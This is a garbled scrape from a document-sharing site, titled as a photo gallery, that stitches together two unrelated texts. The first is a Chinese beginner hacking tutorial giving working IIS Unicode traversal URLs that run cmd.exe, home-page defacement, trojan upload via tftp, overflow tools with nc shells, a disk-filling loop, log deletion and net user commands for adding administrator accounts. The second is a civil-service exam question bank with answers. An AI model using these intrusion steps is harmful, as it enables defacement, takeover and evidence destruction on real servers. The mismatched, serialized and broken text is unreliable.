美女柔术图片赏析Word文档下载推荐.docx

美女柔术图片赏析Word文档下载推荐.docx

《美女柔术图片赏析Word文档下载推荐.docx》由会员分享，可在线阅读，更多相关《美女柔术图片赏析Word文档下载推荐.docx（12页珍藏版）》请在冰点文库上搜索。

a:

32:

{i:

0;s:

21583:

"黑客入门@#@这是一套适合初学者由浅到深的文章，所以强烈推荐给大家，首先是工具，@#@1，一台属于自己的可以上网的电脑。

@#@如果你是网吧里上网的朋友那你就应该有一台属于自己的控制的肉鸡，这样非常方便的下载各种工具，省得每次使用的时候都要下载各种工具！

@#@@#@2，windows2000/nt,不要用WIN98对网络支持极差，命令受限制，很多软件又不能用，对黑客来说使用起来绊手绊脚，非常不利。

@#@这里我推荐2000，这是一个很成熟的系统（漏洞还是有一堆）。

@#@@#@3，冰河，非常不错的远程控制工具@#@4，oicq。

@#@为了方便大家的交流技术哦！

@#@@#@5，superscan。

@#@很好用的端口扫描器，速度超快，功能一流！

@#@@#@6，一本笔记本/便条，网上资料相当多，黑客处理的也是非常之多。

@#@良好的习惯决定了你的效率，准备一本笔记本，记录下你的成果，肉鸡，木马利用，命令，密码……坚持一下，你会发现你的效率大幅上升的！

@#@@#@7，lc3.著名nt/2000sam破解程序，有时我们拿不到足够权限，又没好办法，那么lc3是最好的解决办法，只要你拿的到sam，你就是服务器它爷爷！

@#@本站有其破解程序，支持了暴力破解！

@#@@#@8，程序合并。

@#@用来合并程序，把木马与正常文件捆绑到一起，以骗过对方而执行@#@9，流光4.7for2000/nt。

@#@可能是世界上最好的综合类黑软！

@#@中国的骄傲，它集成了很全的漏洞信息，速度快，方法多，对有漏洞的主机是毁灭性的打击，操作又方便，是快速黑站必不可少的精品工具。

@#@超级吐血推荐！

@#@！

@#@@#@10，黑客是门很高深的学问，不要幻想一步登天，失败是常有的事，千万不可灰心。

@#@在那么多黑软的包围下，切不可完全依赖他们，一定要了解它们利用什么原理工作。

@#@对任何一个小问题，小细节，一定要问清楚，cshu就是给大家互相交流的场所哦！

@#@黑完后不要得意忘形，打扫战场也很重要，以防万一。

@#@@#@下面我们要介绍如何掌握一台主机的基本信息，@#@我们要黑一台主机，首先要了解它的信息，包括它的类型，用户列表，目录，端口，漏洞等等，而且我们应该知道它的ip,很简单，ping它一下就可以了。

@#@@#@Ping，看看窗口里有了@#@知道了ip，下一步应该确定端口了。

@#@下面是一些常用的端口的默认值@#@21--ftp重要哦@#@23--telnet欢呼吧@#@25-smtp尽管重要，但似乎没什么可利用的@#@53--domain同上@#@79--finger可知道用户信息了@#@80--http@#@110--pop收信的@#@139--netbios共享用的，很有利用价值哦@#@3389--win2000超级终端呵呵，这个好！

@#@@#@其实端口有上千种，这些最最常用@#@我们怎么知道服务器有什么端口打开呢？

@#@？

@#@去找个扫描器吧，x-scan,superscan,flux等等很多哦。

@#@这里我推荐superscan，速度很快，本站也有其教程哦！

@#@用法还是比较傻瓜的。

@#@那么我们该如何应对呢？

@#@@#@若有ftp,那就用用匿名登陆。

@#@自己动手也行，最好用x-scanflux等吧！

@#@反正，有ftp就有一份希望@#@telnet在！

@#@好!

@#@telnet111.111.222.222，出现窗口了吧！

@#@嗯？

@#@要密码？

@#@看来网管还不是超级白痴：

@#@）随便猜个，错了，闪人！

@#@@#@Smtp,看着它，无奈@#@domain，一般它带了局域网了@#@finger可以知道用户列表了，不好，忘了用法了，幸好finger很少出现@#@80肯定在，我们等会来对付它@#@110有smtp，pop在也不奇怪了@#@139找个扫描器来找找有没有露在外面的共享吧，日后也用得着@#@3389太太太好了！

@#@！

@#@打开客户端吧，用输入法漏洞试试，成了就干了它！

@#@不成也没事，我们以后完全控制它3389会很方便的。

@#@@#@端口扫完了！

@#@我们在多了解它一点吧！

@#@追捕大家都知道吧，其实用它获取主机信息也不赖哦。

@#@打开追捕，输入ip,选择智能追捕，是不是有很多信息出来了？

@#@虽然不能直接利用，但毕竟我们有对它有了进一步的了解。

@#@掌握了那么多信息，我们该做点什么了，一般黑客入侵都是靠着系统漏洞，不会都傻傻地去暴力破解的。

@#@我们现在就要看看它有什么漏洞。

@#@对漏洞大家可能不太了解，我这里也不能一一说明了，太多了，感兴趣的话去论坛找freedom吧！

@#@目前广泛利用和存在的漏洞有：

@#@unicode,unicode后续，iis溢出，.idq,.frontpageextend,输入法漏洞等等大漏洞。

@#@至于如何确定，呵呵，绝对不会是一行一行地在ie中试吧，拿出x-scan吧，很好的扫描器哦！

@#@稍微设置一下就上路吧！

@#@过了一会，呵呵，报告出来了，快看，哇！

@#@漏洞一大堆！

@#@这下赚了！

@#@各条漏洞都有详细的信息，大家看吧，总比我说的准了。

@#@@#@现在这台主机已经和我们成为亲戚了，要让这位亲爱的亲戚做点事，就要开始各种攻击了，下回我们就探讨一下最最可爱的unicode漏洞，各位可能就会在unicode中完成第一次黑客体验，再见：

@#@）@#@今天我们谈谈unicode漏洞，这可是基础中的基础，重点里的重点，不懂的一定要好好学。

@#@@#@微软IIS4.0/5.0扩展UNICODE目录遍历漏洞@#@下面开始正式学习：

@#@@#@一，UNICODE漏洞的原理@#@此漏洞从中文IIS4.0+SP6开始，还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1，台湾繁体中文也同样存在这样的漏洞。

@#@@#@中文版的WIN2000中，UNICODE编码存在BUG，在UNICODE编码中@#@%c1%1c-〉（0xc1-0xc0）*0x40+0x1c=0x5c='@#@/'@#@@#@%c0%2f-〉（0xc0-0xc0）*0x40+0x2f=0x2f='@#@\'@#@@#@在NT4中/编码为%c1%9c@#@在英文版里：

@#@WIN2000英文版%c0%af@#@在中文win2k里：

@#@%c1%1c@#@本文例子均以win2k为准，其他类型请自行替换。

@#@@#@二，一切从基础开始@#@由于winnt\system32\cmd.exe的存在，使远程执行命令变为可能，在浏览器里输入以下请求：

@#@（假设11.11.22.22有漏洞）11.11.22.22/scripts/..%c1%winnt/system32/cmd.exe?

@#@/c+dir@#@学过dos的应该可以看懂，其实就是利用当中的非法请求使我们可以连到system32下，如果inetpub\目录不合winnt同盘，或者目录级数有改动，可能会引起请求失败。

@#@如果成功，那么在浏览区可看到如下信息：

@#@@#@DirectoryofC:

@#@\inetpub\scripts@#@2000-09-2815:

@#@49〈DIR〉.@#@2000-09-2815:

@#@49〈DIR〉..（假设目录中没有文件，实际上有一大堆）@#@是不是有自己机器的感觉了，正点！

@#@就是这种感觉！

@#@@#@Cmd.exe相当与dos里的，因此，我们可以执行很多命令了！

@#@@#@Http:

@#@//11.11.22.22/msadc/..á@#@_../..á@#@_../..á@#@_../winnt/system32/cmd.exe?

@#@/c+dir（这个命令同样道理）@#@大家请注意：

@#@/c后面的+，实际上，他就是空格，请记牢！

@#@Dir开始就是dos命令了，我们可以更改一下：

@#@11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?

@#@/c+copy+c:

@#@\autoexec.bat+c:

@#@\winnt\auto.exe@#@会dos的朋友一定懂其意义了，不懂的请去看书.@#@三，实战演练@#@1，修改主页！

@#@（是不是很爽？

@#@）@#@一般主页位置在c:

@#@\inetpub\wwwroot下，但要是改了路径，就需要找找了。

@#@@#@最方便的方法：

@#@在浏览器里输http:

@#@//11.11.22.22/.ida要是有漏洞　@#@分析法：

@#@用dir看各个盘符的根目录，看可疑的就进去看，运气好的在一分钟里找到，这要看运气和直觉。

@#@@#@Dir/s法：

@#@首先在看其主页，找个图片或连接，看它的文件名，比如，11.11.22.22首页上有一幅图片，右击，属性，看到了吗？

@#@Iloveu.gif，然后我们利用unicode输入这条命令dirc:

@#@\iloveu.gif/s意味着查找c盘下所有目录里的iloveu.gif，注意实际应用时别忘了把空格改为+,如果没有继续找d盘，很快就能确定主页目录的。

@#@@#@找到了目录，就要对它开刀了！

@#@一般默认收页为index.htm,index.html,index.asp,default.htm,defautl.html,default.asp中的一个，现在我们确定11.11.22.22中为index.htm@#@那么我们就修改它吧！

@#@@#@最方便的方法：

@#@echo法。

@#@Echo是一个系统命令，主要用于设置回应开关，而echocshu>@#@c:

@#@\autoexe.bat就是把cshu加入autoexec.bat里并删除原有内容，echocshunice>@#@>@#@c:

@#@\autoexec.bat就是加入cshunice但不删除原有内容，这样我们就可以逍遥的改了。

@#@@#@11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?

@#@/c+echo+hackedbycshu+>@#@c:

@#@\inetpub\wwwroot\index.htm@#@回应为：

@#@HTTP500-内部服务器错误@#@通过对cmd的分析，袁哥得出一条简便的方法，加入"@#@符号@#@11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd"@#@.exe?

@#@/c+echo+hackedbycshu+>@#@c:

@#@\inetpub\wwwroot\index.htm@#@11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd"@#@.exe?

@#@/c+echo+2001730+>@#@>@#@c:

@#@\inetpub\wwwroot\index.htm@#@回应为：

@#@cgi错误，不用理会两条命令一下，呵呵，再看看11.11.22.22，是不是烙上我们的大名了？

@#@不错吧@#@而在实际操作中，可能袁哥的方法也会失效，这时，我们就可以copycmd.exe为另一个exe，记住路径，用copy后的来echo@#@例如：

@#@11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?

@#@/c+copy+cmd.exe+c:

@#@\a.exe@#@11.11.22.22/scripts/..%c1%1c../a.exe?

@#@/c+echo+hackedbycshu+>@#@c:

@#@\inetpub\wwwroot\index.htm@#@2,上传法：

@#@echo有点不讲道理，把人家的文件破坏了，要是想在主页上增光添彩，那就应该用改好的主页上传，这个我们后面介绍。

@#@@#@3，不准在主页里加入恶性语句@#@2，下载文件@#@要是有什么有用的文件被你发现，那我们如何下载呢？

@#@@#@最简单的方法：

@#@把文件copy至网页目录下。

@#@Copyc:

@#@\email\baby.emlc:

@#@\inetpub\wwwroot\baby.zip,然后，下载11.11.22.22/baby.zip就行了，注意！

@#@实际应用中要记得对文件名进行修改，总之不能暴露。

@#@@#@3，最重要的上传@#@一般方法：

@#@ftp法@#@首先建一个ftp脚本文件：

@#@c:

@#@\hehe.haha（名字乱取把），申请一个ftp账号，然后用echo吧@#@echo+open（ftp主机）>@#@c:

@#@\hehe.haha@#@echo+useryourname>@#@>@#@cc:

@#@\hehe.haha（yourname是用户名）@#@echo+yourpasswd>@#@>@#@c:

@#@\hehe.haha（yourpasswd是密码）@#@echo+getsetup.exe>@#@>@#@c:

@#@\hehe.haha要下载的文件@#@echo+quit>@#@>@#@c:

@#@\hehe.haha@#@完了以后：

@#@ftp+/s:

@#@c:

@#@\hehe.haha,由于是ftp主机，那么速度一定很快，过一会setup.exe就会出现在当前目录了（也就是cmd所在目录）@#@别忘了先上传到ftp主机，不要做马大哈哦！

@#@@#@最简单的方法：

@#@tftp法。

@#@@#@这种方法不用中转服务器，首先准备一个tftp服务端，它的作用就是把你的机器做成一个tftp服务器，利用漏洞机器来下载（注意，运行tftp时不要运行其他的ftp软件）@#@在这里我推荐ciscotftpserver，自己去找找把，实在没有来找我：

@#@）安装好后运行，别忘了设置好默认目录，否则会找不到文件@#@tftp命令：

@#@tftp-I1.2.3.4GETihateu.exec:

@#@\winnt\ihateu.exe（ihateu.exe在默认目录里）1.2.3.4为你的ip，用unicode运行一下，会看到tftpserver里有反应了，这就好了，不一会，文件就传上去了，方便把！

@#@学会了上传，我们就可以好好改主页，还可以上传木马，还可以把程序放上去运行…………（运行程序和在dos里一样）@#@4，如何清除痕迹@#@虽然国内主机纪录ip的不是很多，但万事小心为妙，unicode权限达不到admin。

@#@用cleaniislog行不通，就…………直接删吧！

@#@C:

@#@\winnt\system32\logfiles\*.*C:

@#@\winnt\ssytem32\config\*.evt@#@C:

@#@\winnt\system32\dtclog\*.*@#@C:

@#@\winnt\system32\*.log@#@C:

@#@\winnt\system32\*.txt@#@C:

@#@\winnt\*.txt@#@C:

@#@\winnt\*.log@#@全……擦掉！

@#@@#@四，细节问题。

@#@@#@1，遇到长文件名怎么办？

@#@@#@C:

@#@\programfiles\@#@就用c:

@#@\"@#@program20%files"@#@\@#@2，遇到空格怎么办？

@#@@#@20%代替喽，或者xxyy=xxyy~1@#@3,如何做个很大的文件？

@#@@#@目的就是破坏啦！

@#@我不喜欢不过教教你们啦@#@@echooff@#@echobig>@#@c:

@#@\a.a@#@:

@#@h@#@copyc:

@#@\a.a+c:

@#@\a.ac:

@#@\a.a@#@gotoh@#@注意不要乱来啊！

@#@@#@4，输入命令，没反应或反应不对。

@#@@#@：

@#@）请检查检查再检查命令的正确性，可能没有漏洞，那就闪人！

@#@看在你看到这里那么给我面子的份上，在给你几个吧！

@#@@#@Http:

@#@//cripts/..à@#@;@#@ˉ..à@#@ˉ..à@#@ˉ..à@#@@#@ˉ../winnt/system32/cmd.exe?

@#@/c+dir+c:

@#@\@#@不一定有用哦！

@#@@#@5，如何找到unicode漏洞的主机@#@呵呵：

@#@）最好的方法自然是………………一个一个ping,一个一个试喽：

@#@）@#@不要打我呀！

@#@我说我说。

@#@最好找一个cgi扫描器，unicode查找器多如牛毛，随便找个吧！

@#@@#@6，我copy，del文件，怎么显示aceessdenined?

@#@@#@这个不好办了，由于unicode所拥有的权限有限，出现上述情况很正常，我们要做的便是提高自己的权限！

@#@@#@这个我会在今后介绍，现在你可以试试attrib@#@attrib-r-h-sc:

@#@\autoexec.bat@#@再对autoexec.bat进行操作，看看有没有效果，成功率不高，不好意思！

@#@@#@7，我黑了主页，天下无敌？

@#@@#@Echo主页或改主页在不懂黑客的人看起来很了不起，不过，它最多算是一个基础，拿到admin才是我们的终极目标！

@#@@#@8，我如何做更多的事？

@#@@#@第一，努力提高权限@#@二，由于cmd的限制，我们可以做的不多，那就要程序帮忙，上传吧！

@#@切记，要隐秘！

@#@@#@一，frontpage扩展攻击。

@#@@#@为什么把它放第一位呢？

@#@原因很简单，它最最方便，frontpage服务器扩展是一种方便的远程站点管理功能，可是由于某些网管白痴的疏忽（为什么白痴满街飞？

@#@）不设置访问密码，如果那样的话，我们只要用一个frontpage就可以黑它了！

@#@！

@#@这完全不是黑客工具，但它确实办到了，还要感谢白痴网管和微软啊！

@#@@#@具体做法：

@#@@#@1，准备frontpage，我是用dreamweaver的，但它不能黑啊：

@#@）最好是2000版，只是不要是老掉牙的版本就行了。

@#@@#@2，找一台有frontpage扩展的主机，可以用流光，也可以用搜索引擎查找/_vti_pvt/，这是frontpage扩展的标志。

@#@@#@3，接下来打开frontpage,（妈妈：

@#@你在干什么？

@#@回答：

@#@做网页！

@#@妈妈：

@#@好孩子！

@#@^_^）文件菜单下选择“打开站点”，然后在文件夹框里http:

@#@//11.11.22.22（我习惯用这个做?

@#@..僮魍澄募恕?

@#@/a>@#@4，万一跳出错误信息，表示有密码（这个不算白痴）这时我们试着用以下urhttp:

@#@//11.11.22.22/_vti_pvt/service…盎箍梢愿耐场?

@#@/a>@#@我的看法：

@#@@#@这个漏洞只能说明网管的疏忽，对我们而言是没有什么利用价值的，只可以改改网页，也许这也够了，但要进一步控制主机，此漏洞就无能为力。

@#@消遣时可以玩玩。

@#@@#@二，iis.printer溢出攻击@#@据说缓冲区溢出攻击是黑客入侵时70%所选的方法，看起来有点夸张，但确实有道理，因为暴力密码破解在网络上变得非常之慢，而像unicode的解码漏洞所取得的权限又太低，而缓冲区溢出一般可取得system权限，是非常有用的！

@#@@#@具体原理我也不是很清楚，只能说个大概：

@#@当我们向系统发出超出缓冲区大小的数据处理请求时，便会引发溢出，并弹出错误对话框，我们常看到的“非法操作”其实也是可能是由于溢出。

@#@而当溢出时，eip发生错误，有汇编知识的朋友应该记得，eip是控制执行代码的位置（顺便问一下，有没有会crack的高人，记得做我老师）这时加入一段恶性代码，算好发生溢出时的eip值，这样溢出时就会执行恶性代码而不是当掉。

@#@非法操作我们知道多的不得了，因此……溢出攻击是非常强大的！

@#@@#@由于汇编对于我们来说较难掌握，加之对溢出的了解很有限，那么我们只能借助高手们的程序来黑了。

@#@具体方法：

@#@@#@1，准备iishack，本站有下载，该版本可以对多种系统进行攻击。

@#@@#@2，用x-scan或流光扫描一个有iis.printer漏洞的主机，然后就可以攻击了。

@#@@#@3，在命令行方式执行iis5hack（主机ip）（端口号，默认80）（系统代号，具体可参考程序的说明）（shell口）@#@例如：

@#@iis5hack11.11.22.22801111（以为在111端口开一个shell）@#@4,用nc或telnet连上，nc/telnet11.11.22.22111,成功的话就可以控制机器了，加个用户，做个代理……@#@我的看法：

@#@@#@这算是一个比较有用的漏洞了，它能帮助我们取得system权限，其实和admin差不了多少了，对于做一台跳板是非常有利的，希望大家熟练掌握。

@#@@#@三，idq/ida漏洞溢出攻击@#@这是时下很热门的了，原理和上面的printer相似，目前我只找到了iis5的攻击程序，在cshu里也可以找到的，我们准备的是snake的gui版本，很方便的。

@#@@#@具体方法：

@#@1，准备snakeiis溢出程序。

@#@可以从本站下载。

@#@@#@2，ida/idq漏洞很多的，但win2k的服务器就不是那么普遍了，所以用你熟练的扫描器去找一打win2k的机器吧。

@#@@#@3，程序的界面是很傻瓜的，把ip填入，选择好类型，按下溢出按钮，显示shellcode发送完毕。

@#@@#@4，telnet/nc到你设定好的端口，如果成功的话，会显示目录下的信息（因为默认shellcode是dir）@#@5，欢呼吧！

@#@再次溢出，别忘了改shellcode为你想要的代码哦。

@#@@#@6，重复4，很快一台新鲜的win2k被你控制了！

@#@@#@我的看法：

@#@@#@我很喜欢用这种攻击，因为win2k的3389可以很方便的为我做事，省力地搞到一台win2k，然后慢慢享用，爽到根尖细胞啊！

@#@大家应该掌握这项方法。

@#@@#@四，*bsdtelnetd溢出攻击@#@又是溢出，不过这个可是真正的热点哦，最近红盟等大型安全网站被黑就是因为这个！

@#@所以看看吧@#@具体方法：

@#@@#@1，使用fbsdhackforwin2k来攻击，本站有下载的@#@2，还是要找到这样的主机，一般是unix的，比较少的，用专门的扫描器吧，本站有相关的工具。

@#@@#@3，等吧！

@#@这个漏洞要发送的信息很大，大约16mb,可怕吧，所以最好用高速肉鸡@#@我的看法：

@#@@#@这个漏洞的利用比较有难度，从找机器开始就是。

@#@但作为黑客爱好者，我们没有理由去回避它！

@#@@#@五，密码暴力破解@#@这是最最原始，也是最最基本的攻击的方式了，利用字典文件或暴力模式，对密码进行探测。

@#@费时费力，但若有经验的话，可以缩短这一过程。

@#@@#@具体方法：

@#@1，找一个破解器，有ftp,http,smtp,pop3,telnet等等类型。

@#@@#@2，找到一台相应的主机。

@#@@#@3，设定一番，上路吧！

@#@你可以睡觉，可以去machine（就是做作业），可以去泡妞……就是不要傻等。

@#@为什么呢？

@#@因为会伤视力的：

@#@）怎么倒了一片，起来起来！

@#@@#@4，万一成功了（之所以用这个词，是因为成功率很低的）表明你运气旺，赶紧下线，买彩票去吧^_^@#@不知道大家对unicode和溢出攻击是不是熟练了？

@#@没有的要加油哦！

@#@今天我们来谈谈权限的提升。

@#@@#@在windows系统中，最高的权限掌握在administrators的手里，unix中称为root,我们要完全掌握一台机器，拿到admin是不可或缺的。

@#@首先说说最简单的:

@#@systemtoadmin@#@当我们用溢出攻击成功后，其实我们已经拿到了system权限（具体看每种攻击而可能有所不同）这时我们很容易拿到admin权限。

@#@首先看看一下命令：

@#@@#@netuser察看用户表netuserusernamepass/add（添加密码为pass的用户username）@#@netlocalgroup察看组netlocalgroupguestscshu/add把cshu用户加入guests组@#@netuse\\ip\ipc$"@#@password"@#@/user:

@#@username这是远程连接的命令@#@假如我们溢出了11.11.22.22，那么这样做吧！

@#@@#@Netuser（看到了iusr_machinename的用户了，它一般没什么权限的）netuseriusr_machinenamecshu（把它的密码设为cshu）@#@netlocalgroupadministratorsiusr_machinename/add（加入administrators组）@#@这样我们就拥有了iusr_machinename这一账号，admin权限，简单吧！

@#@@#@熟悉一下netuse命令：

@#@netuse\\11.11.22.22\ipc$"@#@cshu"@#@/user:

@#@iusr_machinename建立连接@#@copyc:

@#@\haha.exe\\11.11.22.22\admin$";i:

1;s:

28436:

"湖北省十堰市房县社会福利院招聘试题及答案解析@#@　　一、选择题（在下列每题四个选项中选择符合题意的，将其选出并把它的标号写在题后的括号内。

@#@@#@　　错选、多选或未选均不得分。

@#@）@#@　　1、发文登记一般采用的形式是（）。

@#@@#@　　A、联单式@#@　　B、簿册式@#@　　C、卡片式@#@　　D、图表式@#@　　【答案】B@#@　　【解析】发文登记一般采用簿册式登记的形式，每年一本，便于保存，也便于查找。

@#@多数机关采用这种方式。

@#@故选B。

@#@@#@　　2、公文的发文字号应为（）。

@#@@#@　　A、青政办〔2004〕190@#@　　B、青政办〔2004〕190号@#@　　C、青政办〔2004〕第190号@#@　　D、青政办－2004－190号@#@　　【答案】B@#@　　【解析】本题考查公文的基本格式。

@#@发文字号由发文机关代字、年份、序号三部分组成。

@#@其中，年份表达需要用六角括号，并且不需要将“年”字带上，序号应用阿拉伯数字，且不添加虚位，不加“第”字，但要添加“号”，故本题正确答案为B。

@#@@#@　　3、在商品交换中起媒介作用的货币，执行的是（）。

@#@@#@　　A、价值尺度职能@#@　　B、支付手段职能@#@　　C、储藏手段职能@#@　　D、流通手段职能@#@　　【答案】D@#@　　【解析】本题考查货币。

@#@在发达的商品经济中，货币具有价值尺度、流通手段、贮藏手段、支付手段和世界货币五种职能。

@#@其中最基本的职能是价值尺度和流通手段。

@#@@#@　　

（1）价值尺度，是指货币充当衡量商品所包含价值量大小的社会尺度。

@#@@#@　　

（2）流通手段的职能是货币作为商品交换的媒介，即购买手段的职能。

@#@其主要特点是在商品买卖中，商品的让渡和货币的让渡在同一时间内完成，通俗地说是一手交钱、一手交货。

@#@@#@　　（3）贮藏手段，货币退出流通领域作为社会财富的一般代表被保存起来的职能。

@#@@#@　　（4）支付手段，支付手段是随着商品赊账买卖的产生而出现的。

@#@@#@　　（5）世界货币，世界货币是随着商品生产和交换的发展而产生和发展的。

@#@也就成为世界范围的商品的一般等价物，即世界货币。

@#@故本题选D。

@#@@#@　　4、当今随着信息技术的飞速发展，人们对光存储容量的要求不断提高，下列哪个光存储技术是目前最先进的?

@#@（）@#@　　A、CD@#@　　B、DVD@#@　　C、LaserDisk@#@　　D、Blu--RayDisc（蓝光DVD）@#@　　【答案】D@#@　　【解析】@#@　　CD、DVD是目前常见和普及的光存储技术。

@#@Blue—RayDisc是前不久刚刚确定的新一代光存储技术标准，它具有存储量大、保存时间长等特点，目前还处于推广阶段。

@#@而LaserDisk是对激光存储技术的统称。

@#@所以答案为D项。

@#@@#@　　5、头孢曲松纳是一种常见的抗生素，临床应用十分广泛。

@#@但是，如果把它和某些药物一起服用，就会导致药效减弱、副作用增强，对人体造成损害。

@#@这种现象在医学上称为配伍禁忌。

@#@在没有发现这个问题的时候，曾出现病人服用该药物致死的案例。

@#@@#@　　对一种药物及其配伍禁忌的认识，体现出认识（）。

@#@@#@　　①是一个永远不能达到真理的过程②是一个追求终极真理的过程③是一个永无止境的无限发展过程④是—个包含矛盾的辨证发展过程@#@　　A、①②@#@　　B、②③@#@　　C、③④@#@　　D、①④@#@　　【答案】C@#@　　【解析】世界上不存在终极真理，②项表述错误应予排除，故排除@#@　　A、B两项。

@#@对药物本身的认识是有限的，但是由于联系的普遍性，药物的配伍禁忌却是无限的，这就反映了认识是一个无限发展的过程，也是一个包含矛盾的辩证发展过程。

@#@所以本题正确答案为C。

@#@@#@　　6、生产资料是指（）。

@#@@#@　　A、劳动资料和劳动工具之和@#@　　B、劳动资料和劳动对象之和@#@　　C、劳动对象和劳动工具之和@#@　　D、劳动资料和劳动手段之和@#@　　【答案】B@#@　　【解析】本题考查生产资料的内容。

@#@生产资料是人们从事物质资料生产所必需的一切物质条件,也称作生产手段。

@#@生产资料是生产过程中的劳动资料和劳动对象的总和，它是任何社会进行物质生产所必备的物质条件。

@#@生产资料是生产力中物的因素，在任何社会生产中，人们总是借助于生产资料，通过自己的劳动生产出劳动产品。

@#@因此本题正确答案为B。

@#@@#@　　7、产业经济学是一门融合了（）基本理论的应用性经济学科。

@#@@#@　　A、经济学@#@　　B、管理学@#@　　C、文化学@#@　　D、伦理学@#@　　【答案】ABC@#@　　【解析】产业经济学是一门融合了经济学、管理学与文化学基本理论的应用性经济学科。

@#@就学科性质而言，它属于应用经济学的范畴。

@#@@#@　　8、下列命题中属于客观唯心主义的是（）。

@#@@#@　　A、“万物都在运动，但只在概念中运动”@#@　　B、“理在事先”，“未有天地万物，已有天地万物之理”@#@　　C、“物质世界”是永恒的“理念世界”的不完全的复制品@#@　　D、“道生@#@　　一、一生@#@　　二、二生@#@　　三、三生万物”@#@　　【答案】BCD@#@　　【解析】客观唯心主义认为某种客观的精神或原则是先于物质世界并独立于物质世界而存在的本体，而物质世界不过是这种客观精神或原则的外化或表现，前者是本原的、第一性的，后者是派生的、第二性的。

@#@A项是主观唯心主义的观点，它把个人的某种主观精神（即题干中的概念）看作是世界上一切事物产生和存在的根源与基础。

@#@BCD中的“理”、“理念”、“道”都是客观精神或原则的另一种表述，因此BCD为正确答案。

@#@@#@　　9、资本主义经济危机的实质是（）。

@#@@#@　　A、生产相对过剩@#@　　B、整个社会经济生活陷入混乱@#@　　C、商品买卖脱节@#@　　D、金融企业倒闭@#@　　【答案】A@#@　　【解析】本题考查的是资本主义经济危机的实质。

@#@所谓资本主义经济危机，是指与资本主义经济制度直接有关，由资本主义经济制度因素引起的经济危机，即生产相对过剩的经济危机。

@#@因此，资本主义经济危机的实质是生产相对过剩的危机。

@#@故本题选A。

@#@@#@　　10、按决策者所处管理层次的不同，经营决策可分为三项，其中不包括（）。

@#@@#@　　A、基层决策@#@　　B、中层决策@#@　　C、高层决策@#@　　D、计量决策@#@　　【答案】D@#@　　【解析】所谓经营决策，就是企业等经济组织决定企业的生产经营目标和达到生产经营目标的战略和策略，即决定做什么和如何去做的过程。

@#@按决策者所处管理层次的不同，经营决策可分为三项：

@#@基层决策、中层决策和高层决策。

@#@故选D。

@#@@#@　　11、现代中医借助西医的物理检验手段，提高传统的“望→闻→问→切→处”的诊断准确性。

@#@这样的优化属于（）。

@#@@#@　　A、工期优化@#@　　B、技术优化@#@　　C、成本优化@#@　　D、流程优化@#@　　【答案】B@#@　　【解析】A项“工期优化”也称时间优化，就是当初始网络计划的计算工期大于要求工期时，通过压缩关键线路上工作的持续时间或调整工作关系，以满足工期要求的过程。

@#@@#@　　B项“技术优化”是指对一个现存的技术进行改进或升级，使其趋于完善的过程。

@#@@#@　　C项“成本优化”是指在保证质量的前提下，寻求质量成本总额最小。

@#@@#@　　D项“流程优化”是一项策略，通过不断发展、完善、优化业务流程保持企业的竞争优势。

@#@@#@　　中医是现存的技术，通过借助西医的物理检验手段，对其进行了完善，提高了准确性，属于技术优化。

@#@因此B项当选。

@#@@#@　　12、文件的连续性是指（）。

@#@@#@　　A、对同一行为加以约束和规范的文件之间有必要的继承关系@#@　　B、文件结构与语言必须周严有效@#@　　C、文件内容与形式同其他文件、同作者权利的高度统一的一致关系@#@　　D、整个文件的所有部分具有的高度的一体性关联@#@　　【答案】A@#@　　【解析】文件的连续性是指对同一行为进行约束和规范的各个文件之间，应该保持必要的继承关系，不能各自孤立，互相矛盾。

@#@@#@　　13、要巩固和发展安定团结的社会政治局面，就必须要正确处理好（）。

@#@@#@　　A、改革、开放、稳定的关系@#@　　B、改革和稳定的关系@#@　　C、发展和稳定的关系@#@　　D、改革、发展、稳定的关系@#@　　【答案】D@#@　　【解析】要巩固和发展安定团结的社会政治局面，就必须要正确处理好改革、发展、稳定的关系。

@#@故选D。

@#@@#@　　14、山脉的延伸方向被称为走向。

@#@下列山脉中，走向与其他三项不同的是（）。

@#@@#@　　A、长白山@#@　　B、六盘山@#@　　C、横断山脉@#@　　D、贺兰山脉@#@　　【答案】A@#@　　【解析】@#@　　B、C、D三项的山脉走向相同，均为南北走向。

@#@而A项的长白山为东北─西南走向的山脉，与其他三项不同。

@#@@#@　　15、孔子说听其言必责其用，观其行必求其功。

@#@”这句话的认识论含义是（）。

@#@@#@　　A、强调认识对实践的指导作用@#@　　B、强调实践对认识的检验作用@#@　　C、认为认识可以脱离实践而存在@#@　　D、认为实践是认识发展的动力@#@　　【答案】B@#@　　【解析】孔子的这句话是其在知行观方面的典型观点，强调行（实践）在检验言（认识）中的作用。

@#@故本题选B。

@#@@#@　　16、下列属于事务文书范畴的文种是（）。

@#@@#@　　A、公示@#@　　B、公告@#@　　C、通告@#@　　D、公报@#@　　【答案】A@#@　　【解析】事务文书是机关、团体、企事业单位在处理日常事务时用来沟通信息、安排工作、总结得失、研究问题的实用文体，是应用写作的重要组成部分。

@#@包括计划、总结、简报、调查报告、请柬、公示等等。

@#@故选A。

@#@@#@　　17、公务员意识中一种强烈的行政责任感和自我评价的能力是（）。

@#@@#@　　A、行政良心@#@　　B、行政规范@#@　　C、行政权力@#@　　D、行政信念@#@　　【答案】A@#@　　【解析】行政良心表现了公务员自我内在的责任感和良知。

@#@故选A。

@#@@#@　　18、购买了医疗事故责任保险的医生，可能会在给病人看病时花费较少的时间，这种现象属于（）。

@#@@#@　　A、道德风险@#@　　B、逆向选择@#@　　C、风险厌恶@#@　　D、适应性预期@#@　　【答案】A@#@　　【解析】道德风险又称为败德行为，是指在交易双方达成协议后，协议的一方通过改变自己的行为，来损害对方的利益。

@#@常见于保险市场。

@#@题干所述属于道德风险。

@#@故选A。

@#@@#@　　19、购买了医疗事故责任保险的医生，可能会在给病人看病时花费较少的时间，这种现象属于（）。

@#@@#@　　A、道德风险@#@　　B、逆向选择@#@　　C、风险厌恶@#@　　D、适应性预期@#@　　【答案】A@#@　　【解析】道德风险又称为败德行为，是指在交易双方达成协议后，协议的一方通过改变自己的行为，来损害对方的利益。

@#@常见于保险市场。

@#@题干所述属于道德风险。

@#@故选A。

@#@@#@　　20、查办是指核查重要公文的（）。

